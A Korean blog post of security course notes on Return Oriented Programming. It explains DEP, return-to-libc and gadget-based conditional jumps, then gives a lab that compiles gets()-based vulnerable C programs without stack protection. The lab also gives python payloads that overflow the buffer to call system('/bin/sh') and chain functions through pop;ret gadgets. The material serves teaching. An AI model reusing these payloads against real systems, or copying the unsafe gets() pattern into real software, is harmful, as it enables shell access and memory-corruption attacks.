이 영역을 누르면 첫 페이지로 이동
천천히 꾸준히 조용히 블로그의 첫 페이지로 이동

천천히 꾸준히 조용히

페이지 맨 위로 올라가기

천천히 꾸준히 조용히

천천히 꾸준히 조용히.. i3months 블로그

[SSS] Return Oriented Programming

  • 2025.10.09 01:49
  • Computer Science/Computer Security
반응형

 

 

 

공격자는 악의적인 코드를 삽입하지 않아도, 정상적인 코드들을 조합해서 악의적인 역할을 수행하도록 조작할 수 있다.

(Code Reuse Attack)

 

스택 영역에 쉘코드를 넣어봤자 데이터 영역은 실행할 수 없다. (Data Execution Prevention)

모든 영역에 DEP를 적용하는거는 사실상 힘들다. Writable 영역에서 바로 컴파일해서 실행해야 하는 영역을 활용하기 힘드니까..

 

 

 

 

 

 

 

쉘코드를 넣어봤자 해당 부분이 실행 불가능하면 공격 할 수 없다. 

DEP 환경에서 악성코드를 실행하려면 공격자가 쉘코드같은 악성코드를 넣어놓는게 아니라 이미 있는 코드조각을 잘 조립해서 악성코드를 만들어서 활용해야 한다. 

 

 

 

 

 

 

정상적인 스택 구조에서 BOF 공격을 통해 원래 복귀해야 할 주소 대신 공격자가 원하는 system 함수 주소를 넣어준다.

스택 정렬을 맞추기 위해 AAAA를 삽입하고, 그 윗 부분에 Parameter로 전달할 값들을 주입한다.

 

 

 

 

 

 

함수 두 개를 호출하는 경우는 공격 방식이 좀 달라진다.

첫 번째 함수가 끝나는 시점에서는 다시 복귀 주소로 돌아오는데, 그 복귀 주소에도 공격자가 pop/pop/ret 를 수행하는 코드조각이 세팅된 주소를 주입한다.

이렇게 스택 포인터를 조작해줘야 두 번째 함수를 제대로 실행시킬 수 있다.

 

 

 

메모리에 올라온 필요 없는 함수들을 모두 지워주면 Return to libc 공격이 어려워진다.

 

이런 경우에는 공격자가 조그만 코드 조각(Gadget)을 잘 조립해서 프로그램 함수를 만들어 내야 한다.

 

 

 

 

일반적인 프로그램이 실행될 때는 EIP 레지스터가 ProgramCounter 역할을 수행해 명령어를 순차적으로 실행한다.

 

 

 

 

 

ROP 에서는 ESP 레지스터가 ProgramCounter 역할을 수행한다.

모든 가젯들은 ret 형태로 끝나고, ret가 실행되면 스택에 저장된 다음 주소를 ESP 레지스터로 로드해 다음 가젯으로 점프시킨다.

NOP를 넣을 때는 ret명령어를 대신해서 넣는다.

 

일단 Turing-Complete 함이 증명됐으니.. 이 외에도 Jump / Conditional Jump / Move 등 여러 어셈블리 명령어를 스택 메모리를 조작하는 테크닉을 활용해 ROP 환경에서 구현할 수 있으니 필요할 때 해당 부분을 찾아서 사용하자.

 

 

Conditional Jump

EFLAG를 사용한다. 

 

adc (add with carry) 명령어는 덧셈 시 Carry Flag를 추가한다.

adc EDX, 0

 

EDX = EDX + 0 + CF 

adc 명령어를 잘 활용해서 ROP 환경에서 Conditional Jump를 구현해보자.

 

 

 

 

pop %ecx 명령어로 ecx 레지스터에 0이 들어간다.

pop %edx 명령어로 특정 값이 edx 레지스터에 들어가는데, 이 레지스터에는 추후 캐리 값을 나중에 저장할 목적지의 주소를 저장한다.

 

ecx 레지스터의 값은 0으로 세팅되었기에 adc %cl, %cl 명령어로 ecx 레지스터에 캐리 값을 저장한다.

이후 movl %ecx, (%edx) 명령어로 CF goes here 부분에 CF의 값을 저장한다.

 

즉, 그림은 EFLAGS 값을 스택에 넣는 예시를 보여준다.

 

 

ㅊ

 

 

 

이제 플래그 값을 사용해 실제로 ESP (스택포인터) 를 조작해서 Conditional Jump를 완성해보자.

 

pop %ebx 명령어로 ebx 레지스터에 x+94=CF 인 x값을 저장한다.

이어서 negl 94 (%ebx) 명령어로 2의 보수를 구하는데.. ebx에 있는 값 + 94 를 주소로 해서, 그 위치에 있는 값의 2의 보수를 구한다.

공격자가 프로그램 메모리에서 활용 가능한 가젯을 찾을 때, 94를 더해주는 명령어만 찾을 수 있어서 저 94 값을 활용한다.

 

이어지는 pop pop mov 명령어는 사용하지 않지만.. ret으로 끝나는 가젯을 찾다 보니 저 코드 덩어리를 사용하게 됐다. 

 

이후 pop %esi 명령어를 실행해 esp를 움직이는 offset 값이 저장된 esp_delta 값을 esi 레지스터에 저장한다.

pop %ecx, pop %ebx 명령어로 ecx 레지스터에는 CF를 가리키는 주소가 저장되고, ebx에는 쓰레기값이 저장된다.

 

이제 andl %esi, (%ecx) 연산을 수행한다.

ecx 레지스터에는 0이나 1이 저장되어있으니 offset만큼 이동시킬지, 점프하지 않을지를 결정한다.

아래의 rolb 부분도 가젯을 찾다 보니 추가된 명령어이니 신경쓰지 말자.

 

 

 

 

 

pop %eax 명령어로 delta 값이 저장된 위치를 eax 레지스터에 저장한다.

addl (%eax), %esp 명령어가 ESP를 조작하는 핵심이다.

eax 레지스터에 저장된 0이나 delta값을 현재 스택 포인터 esp에 더해 Conditional Jump를 구현한다.

 

 

 

필요한 가젯을 하나하나 찾는건 정말 너무 힘드니... 보통 가젯을 찾아주는 오픈소스 툴을 사용한다.

 

프로그래밍도 개발자가 어떻게 코드를 작성하는지에 따라 처리 결과 등이 달라지듯..

ROP에서도 공격자가 여러 가지 기법을 활용해 스택 / 레지스터 / 플래그를 조작해 다양한 공격을 구현한다.

 

 

 

 

 


 

 

 

 

 

#include <stdio.h>
int main(void) {
	char buf[256];
	gets(buf);
	printf("%s", buf);
}

 

 

gcc –mpreferred-stack-boundary=2 –fno-stack-protector –o task1 task1.c 

 

최신 컴파일러는 스택을 16바이트로 정렬해서 성능을 최적화한다. 

이러면 패딩이 추가되니.. 버퍼와 반환 주소 계산이 힘드니 스택 프레임 경계를 4바이트로 정렬하자.

원활한 실습을 위해 스택 카나리도 비활성화하자.

 

 

 

 

메인에 브레이크 찍고 system과 exit 함수의 주소를 찾고 기록해두자.

 

 

#include <stdio.h>

int main(void) {
        long system = 0xb7da4da0;
        while(memcmp(system, "/bin/sh\x00", 8))
                system++;

        printf("/bin/sh : %p\n", system);
}

 

 

 

찾은 system 주소를 바탕으로 binsh.c 코드를 작성하고 이 코드를 바탕으로 /bin/sh 의 주소를 찾아낸다.

libc 파일에는 system() 함수와 "/bin/sh" 문자열이 포함되어있으니, system 함수의 주소를 알고 있다면 거기서부터 메모리를 조금씩 앞으로 움직이다 보면 "/bin/sh" 문자열을 찾을 수 있다.

 

 

 

 

 

 

이제 얻은 정보들을 바탕으로 페이로드를 작성하자.

 

(python -c 'print "A"*260 + "\xa0\x4d\xda\xb7" + "BBBB" + "\x2b\x58\xec\xb7"'; cat) | ./task1

 

 

256바이트 크기의 buf와 4바이트 크기의 sfp를 채우기 위해 더미데이터를 260바이트만큼 넣어주자.

system 함수의 주소는 0xb7da4da0이고, 이걸 리틀 엔디안으로 변환하면 a0 ra da b7가 된다. 이 값을 추가하자.

쉘을 획득한 후 프로그램이 종료되어도 상관없으니 반환 주소 부분을 더미데이터로 채운다.

/bin/sh 문자열의 주소인 0xb7ec582b 를 리틀 엔디안으로 변환하고 넣어주자.

 

 

 

 

함수 호출 후 실행될 코드에 더미를 넣었으니 프로그램 종료 후 Segmentation fault가 발생한다.

이번에는 system("/bin/sh") 이후 exit() 함수를 호출해 정상적으로 프로그램을 종료하는 페이로드를 작성해보자.

 

system과 exit의 주소는 찾았으니 pop, ret 가젯 주소를 찾아야 한다.

 

 

 

 

 

objdump 명령어로 pop; ret 가젯 주소를 찾고 페이로드를 완성하자.

 

 

(python -c 'print "A"*260 + "\xa0\x4d\xda\xb7" + "\xed\x82\x04\x08" + "\x2b\x58\xec\xb7" + "\xd0\x89\xd9\xb7"'; cat) | ./task1

 

 

260바이트 더미는 그대로 쓰고, system 주소 + pop; ret 가젯 주소 + "/bin/sh" 주소 + exit 주소를 합쳐서 페이로드를 완성한다.

 

 

 

 

 

쉘을 획득하고 종료했을 때도 Segmentation fault가 발생하지 않는다.

더미로 넣어둔 AAAA.. 는 I/O 버퍼링 때문에 출력된다.

 

 

 

#include <stdio.h>

void printA() {
	printf("Return ");
}

void printB() {
    printf("Oriented ");
}

void printC() {
    printf("Programming!\n");
}

void main() {
    char buf[10];

    gets(buf);
}

 

 

 

 

 

 

메인에 브레이크 걸고 실행한 다음 프린트로 A B C 주소를 확인하자.

 

 

(python -c 'print "A"*14 + "\x6b\x84\x04\x08" + "\x7e\x84\x04\x08" + "\x91\x84\x04\x08"') | ./task2

 

 

 

주소를 리틀엔디안으로 변환한 후 페이로드를 작성하자.

버퍼 크기와 sfp 크기를 고려해 14바이트의 더미를 추가한다.

 

 

 

 

printC 함수가 호출된 후 돌아갈 곳이 없으니 Segmentation fault가 터지긴 했지만 ROP가 제대로 출력됐다.

 

 

 

#include <stdio.h>

void printA(unsigned int key) {
    if (key == 0xcafecafe)
        printf("Return ");
}

void printB(unsigned int key) {
    if (key == 0xdeadbeef)
        printf("Oriented ");
}

void printC(unsigned int key) {
    if (key == 0x12345678)
        printf("Programming!\n");
}

void main() {
    char buf[10];
    gets(buf);
}

 

 

 

 

 

 

똑같이 디버깅걸고 objdump 해서 가젯 주소와 함수 주소를 찾아준다.

 

 

(python -c 'print "A"*14 + "\x6b\x84\x04\x08" + "\x09\x83\x04\x08" + "\xfe\xca\xfe\xca" + "\x87\x84\x04\x08" + "\x09\x83\x04\x08" + "\xef\xbe\xad\xde" + "\xa3\x84\x04\x08" + "BBBB" + "\x78\x56\x34\x12"') | ./task3

 

 

 

버퍼는 그대로 14바이트 + printA주소 + pop; ret 가젯 주소 + 첫 번쨰 인자인 0xcafecafe 

                                     + printB주소 + pop; ret 가젯 주소 + 두 번째 인자인 0xdeadbeef

                                     + printC주소 + pop; ret 가젯 주소 + 세 번째 인자인 0x12345678

 

 

 

 

 

 

 

 

반응형
저작자표시 (새창열림)

'Computer Science > Computer Security' 카테고리의 다른 글

[SSS] OS kernel and Rootkit  (0) 2025.11.01
[SSS] Race Condition  (0) 2025.10.20
[SSS] Format String Bug  (0) 2025.10.06
[SSS] Control Flow Hijacking - Shellcode  (0) 2025.09.29
[SSS] Control Flow Hijacking - Buffer Overflow  (0) 2025.09.21

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [SSS] OS kernel and Rootkit

    [SSS] OS kernel and Rootkit

    2025.11.01
  • [SSS] Race Condition

    [SSS] Race Condition

    2025.10.20
  • [SSS] Format String Bug

    [SSS] Format String Bug

    2025.10.06
  • [SSS] Control Flow Hijacking - Shellcode

    [SSS] Control Flow Hijacking - Shellcode

    2025.09.29
다른 글 더 둘러보기

정보

천천히 꾸준히 조용히 블로그의 첫 페이지로 이동

천천히 꾸준히 조용히

  • 천천히 꾸준히 조용히의 첫 페이지로 이동

검색

방문자

  • 전체 방문자
  • 오늘
  • 어제

카테고리

  • 분류 전체보기 (679)
    • Algorithm (205)
      • Data Structure (5)
      • Theory && Tip (33)
      • Baekjoon (166)
      • ALGOSPOT (1)
    • Spring (123)
      • Spring (28)
      • Spring Web MVC (20)
      • Spring Database (14)
      • Spring Boot (6)
      • Spring 3.1 (11)
      • Spring Batch (6)
      • Spring Security (16)
      • JPA (12)
      • Spring Data JPA (5)
      • QueryDSL (4)
      • eGovFramework (1)
    • Programming Language (74)
      • C (25)
      • C++ (12)
      • Java (19)
      • JavaScript (15)
      • Python (1)
      • PHP (2)
    • Computer Science (142)
      • Machine Learning (38)
      • Operating System (18)
      • Computer Network (28)
      • System Programming (22)
      • Universial Programming Lang.. (8)
      • Computer Architecture (4)
      • Compiler Design (11)
      • Computer Security (13)
    • Database (21)
      • Database (7)
      • MySQL (3)
      • Oracle (3)
      • Redis (5)
      • Elasticsearch (3)
    • DevOps (20)
      • Docker && Kubernetes (8)
      • Jenkins (4)
      • Amazon Web Service (8)
    • Mobile (28)
      • Android (21)
      • Flutter (7)
    • 💡 솔루션 (17)
    • 👥 모각코 (10)
    • 💬 기록 (8)
    • 📚 공부 (6)
    • -------------- (25)

최근 글

나의 외부 링크

메뉴

  • 홈
반응형

정보

i3months의 천천히 꾸준히 조용히

천천히 꾸준히 조용히

i3months

블로그 구독하기

  • 구독하기
  • RSS 피드

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © i3months.

티스토리툴바